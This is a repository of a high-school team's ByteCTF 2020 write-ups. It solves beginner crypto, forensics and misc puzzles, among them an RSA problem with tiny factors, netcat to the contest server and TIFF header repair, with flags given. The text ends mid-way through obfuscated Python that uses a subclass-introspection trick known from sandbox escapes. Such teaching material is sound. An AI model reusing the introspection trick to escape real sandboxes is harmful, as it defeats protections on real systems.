├── CODE_OF_CONDUCT.md ├── LICENSE ├── README.md ├── beginner ├── Intro to Netcat │ └── README.md └── wumpus rumpus │ ├── Flag.png │ └── README.md ├── crypto ├── All About That Base │ ├── Flag.png │ ├── README.md │ ├── allabouthatbase.png │ └── ciphertext.png ├── Prime Dilemma │ ├── Factor.png │ ├── README.MD │ ├── prime.py │ └── primedilemma.txt └── sms │ ├── ASCII.png │ ├── Cipher.png │ ├── Flag.png │ ├── README.md │ └── sms.py ├── forensics ├── Mellowdious │ ├── README.md │ ├── base3.py │ └── ctf.m4a ├── Tiffy │ ├── Hex.png │ ├── README.md │ ├── tiffy.tiff │ └── tiffy_fix.tiff └── Zip.IT │ ├── README.md │ ├── Recursion │ ├── bytectf.a │ ├── bytectf.a.b │ ├── bytectf.a.b.c.d.zip │ ├── bytectf.a.b.c.zip │ ├── bytectf.a.b.c_1.zip │ └── bytectf.a.b.zip │ ├── Reverse │ ├── bytectf.a │ ├── bytectf.a.b │ ├── bytectf.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.a │ ├── bytectf.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.a.zip │ ├── bytectf.a.b.zip │ └── bytectf.zip │ └── bytectf.zip ├── misc ├── Appendix │ ├── Flag.png │ ├── README.md │ ├── Web1.png │ └── Web2.png ├── Chirrup │ ├── Flag.png │ └── README.md ├── Is this the flag? │ ├── Description.png │ ├── Flag.png │ ├── README.md │ └── shells.sh ├── Jadoo │ ├── README.md │ ├── Spectogram.png │ └── dhoop.wav ├── Really Hard Problem │ ├── Exploit.py │ ├── README.md │ └── dee_en_aee.txt ├── Snakes │ ├── README.md │ └── ropes ├── We will … │ ├── README.md │ ├── beautiful.zip │ ├── beautiful │ │ └── something.jpg │ └── something.jpg ├── Wrecktangled │ ├── Flag.png │ ├── README.md │ ├── flag.txt │ ├── matrix.py │ ├── output.txt │ └── wrecktangled.txt └── Wrong? │ ├── Flag.png │ ├── README.md │ ├── Web1.png │ ├── Web2.png │ └── wrong.png ├── pwn └── Byte Cafe │ ├── README.md │ ├── byte_cafe │ ├── byte_cafe.c │ └── solve.py └── web ├── Admin Portal ├── Error.png ├── Flag.png ├── README.md ├── Web1.png ├── Web2.png └── Web3.png ├── Eyecare v2 ├── Flag.png ├── README.md ├── Web1.png ├── Web2.png ├── Web3.png └── eyecarev2.png ├── Eyecare ├── Flag.png ├── README.md ├── Web1.png └── eyes.PNG └── Monster ├── Flag.png ├── README.md └── Web1.png /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as 6 | contributors and maintainers pledge to making participation in our project and 7 | our community a harassment-free experience for everyone, regardless of age, body 8 | size, disability, ethnicity, sex characteristics, gender identity and expression, 9 | level of experience, education, socio-economic status, nationality, personal 10 | appearance, race, religion, or sexual identity and orientation. 11 | 12 | ## Our Standards 13 | 14 | Examples of behavior that contributes to creating a positive environment 15 | include: 16 | 17 | * Using welcoming and inclusive language 18 | * Being respectful of differing viewpoints and experiences 19 | * Gracefully accepting constructive criticism 20 | * Focusing on what is best for the community 21 | * Showing empathy towards other community members 22 | 23 | Examples of unacceptable behavior by participants include: 24 | 25 | * The use of sexualized language or imagery and unwelcome sexual attention or 26 | advances 27 | * Trolling, insulting/derogatory comments, and personal or political attacks 28 | * Public or private harassment 29 | * Publishing others' private information, such as a physical or electronic 30 | address, without explicit permission 31 | * Other conduct which could reasonably be considered inappropriate in a 32 | professional setting 33 | 34 | ## Our Responsibilities 35 | 36 | Project maintainers are responsible for clarifying the standards of acceptable 37 | behavior and are expected to take appropriate and fair corrective action in 38 | response to any instances of unacceptable behavior. 39 | 40 | Project maintainers have the right and responsibility to remove, edit, or 41 | reject comments, commits, code, wiki edits, issues, and other contributions 42 | that are not aligned to this Code of Conduct, or to ban temporarily or 43 | permanently any contributor for other behaviors that they deem inappropriate, 44 | threatening, offensive, or harmful. 45 | 46 | ## Scope 47 | 48 | This Code of Conduct applies both within project spaces and in public spaces 49 | when an individual is representing the project or its community. Examples of 50 | representing a project or community include using an official project e-mail 51 | address, posting via an official social media account, or acting as an appointed 52 | representative at an online or offline event. Representation of a project may be 53 | further defined and clarified by project maintainers. 54 | 55 | ## Enforcement 56 | 57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 58 | reported by contacting the project team at rishitsaiya@gmail.com. All 59 | complaints will be reviewed and investigated and will result in a response that 60 | is deemed necessary and appropriate to the circumstances. The project team is 61 | obligated to maintain confidentiality with regard to the reporter of an incident. 62 | Further details of specific enforcement policies may be posted separately. 63 | 64 | Project maintainers who do not follow or enforce the Code of Conduct in good 65 | faith may face temporary or permanent repercussions as determined by other 66 | members of the project's leadership. 67 | 68 | ## Attribution 69 | 70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, 71 | available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html 72 | 73 | [homepage]: https://www.contributor-covenant.org 74 | 75 | For answers to common questions about this code of conduct, see 76 | https://www.contributor-covenant.org/faq 77 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Rishit Saiya 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # ByteCTF-Writeups - 2020 3 | 4 | ByteCTF 2020 - The 3rd edition of ByteCTF, India's first CTF by and for High School students. Organized by Byte Club. 5 | 6 |
7 |

Team: pr0ctf

8 |

Position: 9th/ 156 teams

9 |
10 | 11 | Link to CTF: http://bytectf.eastus.cloudapp.azure.com/ 12 | 13 | [![HitCount](http://hits.dwyl.com/rishitsaiya/Computer-Networks-Lab.svg)](http://hits.dwyl.com/rishitsaiya/Computer-Networks-Lab) ![Open Source Love](https://badges.frapsoft.com/os/v2/open-source.svg?v=103) 14 | 15 |
16 | 17 |
18 | 19 | ### Category-Wise Breakdown 20 | 21 |
22 | 23 |
24 | 25 | ### Progress over CTF 26 |
27 | 28 |
29 | 30 |
31 | Top-10-Teams-pr0ctf 32 |
33 | 34 | ### Score over CTF 35 | 36 |
37 | 38 |
39 | -------------------------------------------------------------------------------- /beginner/Intro to Netcat/README.md: -------------------------------------------------------------------------------- 1 | ## Intro to Netcat 2 | 3 | The main idea to find the flag is to use given command. 4 | 5 | #### Step-1: 6 | According to given description: 7 | 8 | [https://www.varonis.com/blog/netcat-commands/](https://www.varonis.com/blog/netcat-commands/) 9 | 10 | ```bash 11 | nc 23.100.18.186 10001 12 | ``` 13 | 14 | #### Step-2: 15 | We just have to put the command on terminal and we get the flag. 16 | 17 | Output: 18 | ```bash 19 | Welcome, netcat pr0 20 | flag{N3tC4t_Rockz323498#34!34f} 21 | ``` 22 | 23 | #### Step-3: 24 | Finally, the flag becomes: 25 | `flag{N3tC4t_Rockz323498#34!34f}` 26 | -------------------------------------------------------------------------------- /beginner/wumpus rumpus/Flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/beginner/wumpus rumpus/Flag.png -------------------------------------------------------------------------------- /beginner/wumpus rumpus/README.md: -------------------------------------------------------------------------------- 1 | ## wumpus rumpus 2 | 3 | The main idea to find the flag is simple Discord Server joining and finding. 4 | 5 | #### Step-1: 6 | We are given Discord Server Link: 7 | 8 | [https://discord.gg/YfKatbx](https://discord.gg/YfKatbx) 9 | 10 | #### Step-2: 11 | I joined the server and checked out channels to get the flag and got it here. 12 | 13 | 14 | 15 | #### Step-3: 16 | Finally, the flag becomes: 17 | `flag{bYteCtFdi5C0rDi5LiT}` -------------------------------------------------------------------------------- /crypto/All About That Base/Flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/crypto/All About That Base/Flag.png -------------------------------------------------------------------------------- /crypto/All About That Base/README.md: -------------------------------------------------------------------------------- 1 | ## All About That Base 2 | The main idea to find the flag is simple logic. 3 | 4 | #### Step-1: 5 | After downloading the `allabouthatbase.png` image, it gives us idea of base. 6 | 7 | 8 | 9 | The given cipher text is in `ciphertext.png`, so we look at that. 10 | 11 | 12 | 13 | #### Step-2: 14 | The `allabouthatbase.png` has the design like a clock, so I assigned them numbers from 1-13 and since its like a Base13, we have this sequence: `0123456789ABC` 15 | 16 | #### Step-3: 17 | If we decode the cipher text accordingly, we get: 18 | `7B 84 76 7C 96 3A 86 8C 3C 8A 78 7A 45 8C 58 39 86 98` 19 | 20 | #### Step-4: 21 | Now, we just have to get this to ASCII text and I did it here: 22 | https://onlineasciitools.com/convert-arbitrary-base-to-ascii 23 | 24 | 25 | 26 | #### Step-5: 27 | Finally, the flag becomes: 28 | `flag{1nt3rce9tI0n}` -------------------------------------------------------------------------------- /crypto/All About That Base/allabouthatbase.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/crypto/All About That Base/allabouthatbase.png -------------------------------------------------------------------------------- /crypto/All About That Base/ciphertext.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/crypto/All About That Base/ciphertext.png -------------------------------------------------------------------------------- /crypto/Prime Dilemma/Factor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/crypto/Prime Dilemma/Factor.png -------------------------------------------------------------------------------- /crypto/Prime Dilemma/README.MD: -------------------------------------------------------------------------------- 1 | ## Prime Dilemma 2 | 3 | The main idea to find the flag is to just using RSA Encryption. 4 | 5 | #### Step-1: 6 | After downloading `primedilemma.txt`, I got this: 7 | 8 | ``` 9 | q > p 10 | (p^3)*(q**2) = 731741085649420699672720315154308733768 11 | e = 6969 12 | encrypted text : 12541396840306196572 13 | ``` 14 | 15 | #### Step-2: 16 | If you have some idea of [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) functionality and its technicalities and its variable and we can crack this. 17 | 18 | Given to us this unique variable: 19 | p3.q2 = 731741085649420699672720315154308733768 20 | 21 | `c` is the cipher text. 22 | c = 12541396840306196572 23 | 24 | `e` is directly given to us. 25 | e = 6969 26 | 27 | #### Step-3: 28 | So, I tried to factorize the number given to get `p` & `q`. I used [FactorDB](http://factordb.com/) to do that. 29 | 30 | 31 | 32 | #### Step-4: 33 | So, I now we got `p = 2` & `q = 9563871376496945939`. Since `n = p.q`, 34 | `n = 19127742752993891878` 35 | 36 | I wrote this script `prime.py` to get the flag. 37 | 38 | ```py 39 | from Crypto.Util.number import inverse 40 | import binascii 41 | 42 | e = 6969 43 | c = 12541396840306196572 44 | n = 19127742752993891878 45 | 46 | # From factordb 47 | 48 | p = 2 49 | q = 9563871376496945939 50 | 51 | phi = (p-1) * (q-1) 52 | 53 | d = inverse(e,phi) 54 | m = pow(c,d,n) 55 | 56 | hex_str = hex(m)[2:] # Removing '0x' 57 | print(binascii.unhexlify(hex_str)) 58 | ``` 59 | 60 | #### Step-5: 61 | Executing this as `python3 prime.py`, we get this output: 62 | 63 | ```bash 64 | b'tuchainz' 65 | ``` 66 | 67 | #### Step-6: 68 | Finally, the flag becomes: 69 | `flag{tuchainz}` -------------------------------------------------------------------------------- /crypto/Prime Dilemma/prime.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import inverse 2 | import binascii 3 | 4 | e = 6969 5 | c = 12541396840306196572 6 | n = 19127742752993891878 7 | 8 | # From factordb 9 | 10 | p = 2 11 | q = 9563871376496945939 12 | 13 | phi = (p-1) * (q-1) 14 | 15 | d = inverse(e,phi) 16 | m = pow(c,d,n) 17 | 18 | hex_str = hex(m)[2:] # Removing '0x' 19 | print(binascii.unhexlify(hex_str)) 20 | -------------------------------------------------------------------------------- /crypto/Prime Dilemma/primedilemma.txt: -------------------------------------------------------------------------------- 1 | q > p 2 | (p^3)*(q**2) = 731741085649420699672720315154308733768 3 | e = 6969 4 | encrypted text : 12541396840306196572 -------------------------------------------------------------------------------- /crypto/sms/ASCII.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/crypto/sms/ASCII.png -------------------------------------------------------------------------------- /crypto/sms/Cipher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/crypto/sms/Cipher.png -------------------------------------------------------------------------------- /crypto/sms/Flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/crypto/sms/Flag.png -------------------------------------------------------------------------------- /crypto/sms/README.md: -------------------------------------------------------------------------------- 1 | ## sms 2 | 3 | The main idea to find the flag is to just using Binary, Encryptions, etc. 4 | 5 | #### Step-1: 6 | After reading the description: 7 | 8 | ``` 9 | Luhsna promised to have a level as a tribute to the pr0 sms, so here it is. 10 | 11 | smmmmsmssmmmmssmsmmsssmmsmmssmsssmmmssmmsmmmsmmmsmmmsssmssmsmmmssmmsmmsmsmmsmmsmssmsmmmmssmm 12 | sssmssmmsmsssmmsmmsmsmsssmmssmsmsmmmsmsmmsmssmssssmmsmsmmsms 13 | 14 | Find the flag. 15 | ``` 16 | 17 | #### Step-2: 18 | I got the idea to replace s with 0 and m with 1 to get binary message. 19 | So, I wrote this `sms.py` script to get the message first. 20 | 21 | ```py 22 | r = "smmmmsmssmmmmssmsmmsssmmsmmssmsssmmmssmmsmmmsmmmsmmmsssmssmsmmmssmmsmmsmsmmsmmsmssmsmmmmssmmsssmssmmsmsssmmsmmsmsmsssmmssmsmsmmmsmsmmsmssmssssmmsmsmmsms" 23 | r_new = r.replace('s','0').replace('m','1') 24 | print("Message: " + r_new) 25 | ``` 26 | When this is executed as `python3 sms.py`, I got this output: 27 | 28 | ```py 29 | Message: 01111010011110010110001101100100011100110111011101110001001011100110110101101101001011110011000100110100011011010100011001010111010110100100001101011010 30 | ``` 31 | 32 | #### Step-3: 33 | Lets find its ASCII equivalent [here](https://www.rapidtables.com/convert/number/binary-to-ascii.html). 34 | 35 | 36 | 37 | Got this URL from there: zycdswq.mm/14mFWZCZ 38 | It didn't work. But I thought this was encrypted. 39 | 40 | 41 | #### Step-4: 42 | So, I used [Caesar Cipher Decoder](https://www.dcode.fr/caesar-cipher) and brute forced all the keys to get possible legit URLs. 43 | 44 | 45 | 46 | #### Step-5: 47 | In all the results, the +10 padded result gave us nice URL:- https://postimg.cc/14cVMPSP 48 | When I visited the URL, I got the flag there. 49 | 50 | 51 | 52 | #### Step-6: 53 | Finally, the flag becomes: 54 | `flag{Eggspurts_Unl1m1t3d}` 55 | -------------------------------------------------------------------------------- /crypto/sms/sms.py: -------------------------------------------------------------------------------- 1 | r="smmmmsmssmmmmssmsmmsssmmsmmssmsssmmmssmmsmmmsmmmsmmmsssmssmsmmmssmmsmmsmsmmsmmsmssmsmmmmssmmsssmssmmsmsssmmsmmsmsmsssmmssmsmsmmmsmsmmsmssmssssmmsmsmmsms" 2 | r_new = r.replace('s','0').replace('m','1') 3 | print("Message: " + r_new) -------------------------------------------------------------------------------- /forensics/Mellowdious/README.md: -------------------------------------------------------------------------------- 1 | ## Mellowdious 2 | The main idea to find the flag is basing the 3 tones and decoding. 3 | 4 | #### Step-1: 5 | After we download `ctf.m4a`, when I listened it, I got a sense of 3 different cohesive tunes. 6 | 7 | #### Step-2: 8 | I got this script `base3.py` to execute: 9 | 10 | ```py 11 | # !/usr/bin/python3 12 | 13 | a = "weqwe wweee wewqw weqww wwwqe wqqe wewqw weeew weqee wqqw wweqe wqqe wwwqq".split(" ") 14 | keys = [ 15 | {"w":"0","e":"1","q":"2"}, 16 | {"w":"0","e":"2","q":"1"}, 17 | {"w":"1","e":"0","q":"2"}, 18 | {"w":"1","e":"2","q":"0"}, 19 | {"w":"2","e":"0","q":"1"}, 20 | {"w":"2","e":"1","q":"0"} 21 | ] 22 | out = [] 23 | for key in keys: 24 | tempset = [] 25 | for word in a: 26 | tempword = [] 27 | for letter in word: 28 | tempword += [key[letter]] 29 | tempset += [tempword] 30 | out += [tempset] 31 | answers = [] 32 | for variation in out: 33 | h = "" 34 | for word in variation: 35 | sum = 0 36 | for letter in range(len(word)): 37 | sum += int(word[letter]) * 3 **(len(word)-letter-1) 38 | h += chr(sum) 39 | print(h) 40 | ``` 41 | #### Step-3: 42 | When it was executed as `python3 base3.py`, I got this output: 43 | 44 | ```bash 45 | !-!'1 46 | A�9?9NG 47 | 48 | flag{3aRc4r3} 49 | w u 50 | ±Ø¹³íB¹¤«DÛBî 51 | ÄåÑÅë7ÑËÁ8â7ê 52 | ``` 53 | 54 | #### Step-4: 55 | Finally, the flag becomes: 56 | `flag{3aRc4r3}` -------------------------------------------------------------------------------- /forensics/Mellowdious/base3.py: -------------------------------------------------------------------------------- 1 | # !/usr/bin/python3 2 | 3 | a = "weqwe wweee wewqw weqww wwwqe wqqe wewqw weeew weqee wqqw wweqe wqqe wwwqq".split(" ") 4 | keys = [ 5 | {"w":"0","e":"1","q":"2"}, 6 | {"w":"0","e":"2","q":"1"}, 7 | {"w":"1","e":"0","q":"2"}, 8 | {"w":"1","e":"2","q":"0"}, 9 | {"w":"2","e":"0","q":"1"}, 10 | {"w":"2","e":"1","q":"0"} 11 | ] 12 | out = [] 13 | for key in keys: 14 | tempset = [] 15 | for word in a: 16 | tempword = [] 17 | for letter in word: 18 | tempword += [key[letter]] 19 | tempset += [tempword] 20 | out += [tempset] 21 | answers = [] 22 | for variation in out: 23 | h = "" 24 | for word in variation: 25 | sum = 0 26 | for letter in range(len(word)): 27 | sum += int(word[letter]) * 3 **(len(word)-letter-1) 28 | h += chr(sum) 29 | print(h) 30 | -------------------------------------------------------------------------------- /forensics/Mellowdious/ctf.m4a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Mellowdious/ctf.m4a -------------------------------------------------------------------------------- /forensics/Tiffy/Hex.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Tiffy/Hex.png -------------------------------------------------------------------------------- /forensics/Tiffy/README.md: -------------------------------------------------------------------------------- 1 | ## Tiffy 2 | 3 | The main idea to find the flag is to repair the corrupt `TIFF` file. 4 | 5 | #### Step-1: 6 | We are given `tiffy.tiff` and it is corrupted and cannot be viewed. In these cases, mostly the header or the EOI (End of Image) is changed or corrupted. We need to fix it with simple hex editor. 7 | 8 | #### Step-2: 9 | I opened an online [hex editor](https://www.onlinehexeditor.com/) and changed the header hex as to reference with 10 | https://en.wikipedia.org/wiki/List_of_file_signatures. 11 | 12 | 13 | 14 | After we repair the corrupt, we get the flag. 15 | 16 | #### Step-3: 17 | Finally, the flag becomes: 18 | `flag{My_H34d_My_B4CK_Th15_Lvl_W45_W4ck}` -------------------------------------------------------------------------------- /forensics/Tiffy/tiffy.tiff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Tiffy/tiffy.tiff -------------------------------------------------------------------------------- /forensics/Tiffy/tiffy_fix.tiff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Tiffy/tiffy_fix.tiff -------------------------------------------------------------------------------- /forensics/Zip.IT/README.md: -------------------------------------------------------------------------------- 1 | ## Zip.IT 2 | 3 | The main idea to find the flag is to just keep on unzipping. 4 | 5 | #### Step-1: 6 | After downloading, `bytectf.zip`, we get a file `.a` extension added. So if we check the file format, it's a zip actually. Next if we try to change the extension to `.zip`, we get the recursion of files to `.a.b`, that way. 7 | 8 | #### Step-2: 9 | The main idea remains to first recursively extract all the zips and then reverse in the same order. We have to do this nearly 50 times. 10 | 11 | #### Step-3: 12 | Finally, the flag becomes: 13 | `flag{K0mpr3SSi0N_n07_3nCryP7i0n}` -------------------------------------------------------------------------------- /forensics/Zip.IT/Recursion/bytectf.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Zip.IT/Recursion/bytectf.a -------------------------------------------------------------------------------- /forensics/Zip.IT/Recursion/bytectf.a.b: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Zip.IT/Recursion/bytectf.a.b -------------------------------------------------------------------------------- /forensics/Zip.IT/Recursion/bytectf.a.b.c.d.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Zip.IT/Recursion/bytectf.a.b.c.d.zip -------------------------------------------------------------------------------- /forensics/Zip.IT/Recursion/bytectf.a.b.c.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Zip.IT/Recursion/bytectf.a.b.c.zip -------------------------------------------------------------------------------- /forensics/Zip.IT/Recursion/bytectf.a.b.c_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Zip.IT/Recursion/bytectf.a.b.c_1.zip -------------------------------------------------------------------------------- /forensics/Zip.IT/Recursion/bytectf.a.b.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Zip.IT/Recursion/bytectf.a.b.zip -------------------------------------------------------------------------------- /forensics/Zip.IT/Reverse/bytectf.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Zip.IT/Reverse/bytectf.a -------------------------------------------------------------------------------- /forensics/Zip.IT/Reverse/bytectf.a.b: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Zip.IT/Reverse/bytectf.a.b -------------------------------------------------------------------------------- /forensics/Zip.IT/Reverse/bytectf.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Zip.IT/Reverse/bytectf.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.a -------------------------------------------------------------------------------- /forensics/Zip.IT/Reverse/bytectf.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.a.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Zip.IT/Reverse/bytectf.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.a.zip -------------------------------------------------------------------------------- /forensics/Zip.IT/Reverse/bytectf.a.b.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Zip.IT/Reverse/bytectf.a.b.zip -------------------------------------------------------------------------------- /forensics/Zip.IT/Reverse/bytectf.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Zip.IT/Reverse/bytectf.zip -------------------------------------------------------------------------------- /forensics/Zip.IT/bytectf.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/forensics/Zip.IT/bytectf.zip -------------------------------------------------------------------------------- /misc/Appendix/Flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/Appendix/Flag.png -------------------------------------------------------------------------------- /misc/Appendix/README.md: -------------------------------------------------------------------------------- 1 | ## Appendix 2 | The main idea to find the flag is looking carefully in the code. 3 | 4 | #### Step-1: 5 | After visiting the URL given: [https://Appendix.anshulmahajan.repl.run](https://Appendix.anshulmahajan.repl.run), I was shell shocked to see that web page. It was humongous. 6 | 7 | #### Step-2: 8 | I had to take hint for Repl, Its new to me. After that I got this URL: 9 | [https://repl.it/@AnshulMahajan/Appendix#main.py](https://repl.it/@AnshulMahajan/Appendix#main.py) 10 | 11 | 12 | 13 | #### Step-3: 14 | We are greeted with this code: 15 | 16 | ```py 17 | import time as random 18 | import random as time 19 | #enigma keys, dont touch lol jk jk 20 | h = 42 21 | t = 102 22 | t = 120 23 | p = 121 24 | s = 26 25 | #: 26 | #/ 27 | #/ 28 | b = 91 29 | y = 116 30 | t = 5 31 | e = 31 32 | c = 202 33 | l = 54 34 | u = 79 35 | b = 0 36 | #. 37 | i = 2 38 | n = 16 39 | #/ 40 | b = 98 41 | y = 20 42 | t = 123 43 | e = 35 44 | #_ 45 | i = 170 46 | t = 68 47 | #/ 48 | #append the answer here 49 | #can you append? without python lol jk jk 50 | def Arrayed(): 51 | einstein = 8958745632412 52 | luhsna = 126081215098021 53 | attarizan = 658776244253 54 | return (luhsna - attarizan) // einstein #einstein is so cool, everything seems relative but is it? lol jk jk 55 | def Arranged(bolztmann): 56 | rotational_factor = "" 57 | quantumized_azimuthal_egesta = ("").__class__.__base__.__subclasses__() 58 | for i in range(len(quantumized_azimuthal_egesta)): 59 | quantumized_azimuthal_egesta[i] = str(quantumized_azimuthal_egesta[i]) 60 | for i in range(48476440 // 12119110): 61 | if (i == 0): 62 | rotational_factor += quantumized_azimuthal_egesta[ 63 | 7658293832 // 7658293832][bolztmann] 64 | elif (i == 1): 65 | rotational_factor += quantumized_azimuthal_egesta[ 66 | 173086506913578 // 86543253456789][bolztmann] 67 | elif (i == 2): 68 | rotational_factor += quantumized_azimuthal_egesta[( 69 | (55787284761289 * 841) // 1617831258077381) + 3][bolztmann] 70 | elif (i == 3): 71 | rotational_factor += quantumized_azimuthal_egesta[ 72 | (129961739795077 // (37**8)) + 3][bolztmann] 73 | elif (i == 4): 74 | rotational_factor += quantumized_azimuthal_egesta[ 75 | (19858 // 8378329487) + 3][bolztmann] 76 | elif (i == 5): 77 | rotational_factor += quantumized_azimuthal_egesta[ 78 | 9827546517687280 // 9873829389][bolztmann] 79 | elif (i == 6): 80 | rotational_factor += quantumized_azimuthal_egesta[ 